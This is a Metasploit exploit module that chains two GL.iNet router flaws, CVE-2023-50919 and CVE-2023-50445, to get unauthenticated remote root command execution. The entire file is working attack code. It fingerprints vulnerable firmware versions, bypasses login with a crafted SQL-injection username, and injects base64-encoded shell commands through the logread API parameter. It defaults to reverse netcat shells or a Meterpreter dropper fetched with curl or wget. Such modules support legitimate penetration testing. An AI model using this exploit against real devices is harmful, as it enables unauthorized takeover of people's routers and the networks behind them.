##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GL.iNet Unauthenticated Remote Command Execution via the logread module.',
        'Description' => %q{
          A command injection vulnerability exists in multiple GL.iNet network products, allowing an attacker
          to inject and execute arbitrary shell commands via JSON parameters at the `gl_system_log` and `gl_crash_log`
          interface in the `logread` module.
          This exploit requires post-authentication using the `Admin-Token` cookie/sessionID (`SID`), typically stolen
          by the attacker.
          However, by chaining this exploit with vulnerability CVE-2023-50919, one can bypass the Nginx authentication
          through a `Lua` string pattern matching and SQL injection vulnerability. The `Admin-Token` cookie/`SID` can be
          retrieved without knowing a valid username and password.

          The following GL.iNet network products are vulnerable:
          - A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A: v4.0.0 < v4.5.0;
          - MT6000: v4.5.0 - v4.5.3;
          - MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300: v4.3.7;
          - E750/E750V2, MV1000: v4.3.8;
          - X3000: v4.0.0 - v4.4.2;
          - XE3000: v4.0.0 - v4.4.3;
          - SFT1200: v4.3.6;
          - and potentially others (just try ;-)

          NOTE: Staged Meterpreter payloads might core dump on the target, so use stage-less Meterpreter payloads
          when using the Linux Dropper target.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die-gr3y <h00die.gr3y[at]gmail.com>', # MSF module contributor
          'Unknown', # Discovery of the vulnerability CVE-2023-50445
          'DZONERZY' # Discovery of the vulnerability CVE-2023-50919

        ],
        'References' => [
          ['CVE', '2023-50445'],
          ['CVE', '2023-50919'],
          ['URL', 'https://attackerkb.com/topics/3LmJ0d7rzC/cve-2023-50445'],
          ['URL', 'https://attackerkb.com/topics/LdqSuqHKOj/cve-2023-50919'],
          ['URL', 'https://libdzonerzy.so/articles/from-zero-to-botnet-glinet.html'],
          ['URL', 'https://github.com/gl-inet/CVE-issues/blob/main/4.0.0/Using%20Shell%20Metacharacter%20Injection%20via%20API.md']
        ],
        'DisclosureDate' => '2023-12-10',
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_netcat'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE, ARCH_AARCH64],
              'Type' => :linux_dropper,
              'CmdStagerFlavor' => ['curl', 'wget', 'echo', 'printf', 'bourne'],
              'Linemax' => 900,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )
    register_options([
      OptString.new('SID', [false, 'Session ID'])
    ])
  end

  def vuln_version?
    @glinet = { 'model' => nil, 'firmware' => nil, 'arch' => nil }
    # check first with version 4.x api call
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        '',
        'ui',
        'check_initialized',
        {}
      ]
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('result')
      res_json = res.get_json_document
      unless res_json.blank?
        @glinet['model'] = res_json['result']['model']
        @glinet['firmware'] = res_json['result']['firmware_version']
      end
    else
      # check with version 3.x api call. These versions are NOT vulnerable
      res = send_request_cgi({
        'method' => 'GET',
        'ctype' => 'application/x-www-form-urlencoded',
        'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'api', 'router', 'hello')
      })
      if res && res.code == 200 && res.body.include?('model') && res.body.include?('version')
        res_json = res.get_json_document
        unless res_json.blank?
          @glinet['model'] = res_json['model']
          @glinet['firmware'] = res_json['version']
        end
      end
    end

    # check for the vulnerable models and firmware versions
    case @glinet['model']
    when 'sft1200'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.6')
    when 'ar750', 'ar750s', 'ar300m', 'ar300m16'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'mt300n-v2', 'mt1300'
      @glinet['arch'] = 'mipsle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'ap1300', 'b1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.7')
    when 'e750', 'e750v2'
      @glinet['arch'] = 'mipsbe'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'mv1000'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) == Rex::Version.new('4.3.8')
    when 'ax1800', 'axt1800', 'a1300'
      @glinet['arch'] = 'armle'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt2500', 'mt2500a', 'mt3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.5.0')
    when 'mt6000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.5.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.5.3')
    when 'x3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.2')
    when 'xe3000'
      @glinet['arch'] = 'aarch64'
      return Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0') && Rex::Version.new(@glinet['firmware']) <= Rex::Version.new('4.4.3')
    end
    @glinet['arch'] = 'n/a'
    return false
  end

  def auth_bypass
    # Check if datastore['SID'] is set
    return datastore['SID'] unless datastore['SID'].blank?

    # Exploit CVE-2023-50919 to retrieve the SID without valid username and password.
    # Send an RPC request calling the challenge method, which will return a random nonce,
    # the selected root user’s salt, and the crypt’s algorithm to hash the password.
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'challenge',
      params: {
        username: 'root'
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('nonce')
      res_json = res.get_json_document
      unless res_json.blank?
        nonce = res_json['result']['nonce']
      end
    else
      fail_with(Failure::NotFound, 'Getting the random nonce failed.')
    end
    # Perform REGEX to lookup uid field from /etc/shadow to be used as password with manipulated root username
    # Use the SQL injection part to lookup the ACLs for root stored in sqlite db
    # Create the password hash which is the md5 of the concatenation of the user, password, and the retrieved nonce
    username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+"
    pw = '0'
    hash = Digest::MD5.hexdigest("#{username}:#{pw}:#{nonce}")

    # Login with the password hash and obtain the SessionID (SID)
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'login',
      params: {
        username: username.to_s,
        hash: hash.to_s
      }
    }.to_json

    res = send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
    if res && res.code == 200 && res.body.include?('sid')
      res_json = res.get_json_document
      unless res_json.blank?
        sid = res_json['result']['sid']
      end
    else
      fail_with(Failure::NotFound, 'Retrieving the SessionID (SID) failed.')
    end
    return sid
  end

  def execute_command(cmd, _opts = {})
    payload = Base64.strict_encode64(cmd)
    cmd = "echo #{payload}|openssl enc -base64 -d -A|sh"
    post_data = {
      jsonrpc: '2.0',
      id: rand(1000..9999),
      method: 'call',
      params: [
        @sid.to_s,
        'logread',
        'get_system_log',
        {
          lines: '',
          module: "|#{cmd}"
        }
      ]
    }.to_json

    return send_request_cgi({
      'method' => 'POST',
      'ctype' => 'text/json',
      'cookie' => "Admin-Token=#{@sid}",
      'uri' => normalize_uri(target_uri.path, 'rpc'),
      'data' => post_data.to_s
    })
  end

  def check
    print_status("Checking if #{peer} can be exploited.")
    # Check if target is a GL.iNet network device and the firmware version is vulnerable
    return CheckCode::Vulnerable("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if vuln_version?

    unless @glinet['firmware'].nil?
      # GL.iNet network devices with firmware version 3.x that are safe from this exploit
      return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) < Rex::Version.new('4.0.0')

      # GL.iNet network devices with a firmware version 4.x or higher which still could be vulnerable unless the architecture is not available (n/a)
      if @glinet['arch'] != 'n/a' && (Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0'))
        return CheckCode::Safe("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}")
      end
      return CheckCode::Detected("Product info: #{@glinet['model']}|#{@glinet['firmware']}|#{@glinet['arch']}") if Rex::Version.new(@glinet['firmware']) >= Rex::Version.new('4.0.0')
    end
    # No GL.iNet network device or not reachable
    CheckCode::Unknown('No GL.iNet network device or device is not responding.')
  end

  def exploit
    @sid = auth_bypass
    print_status("SID: #{@sid}")
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      # Don't check the response here since the server won't respond
      # if the payload is successfully executed.
      execute_cmdstager({ linemax: target.opts['Linemax'] })
    end
  end
end
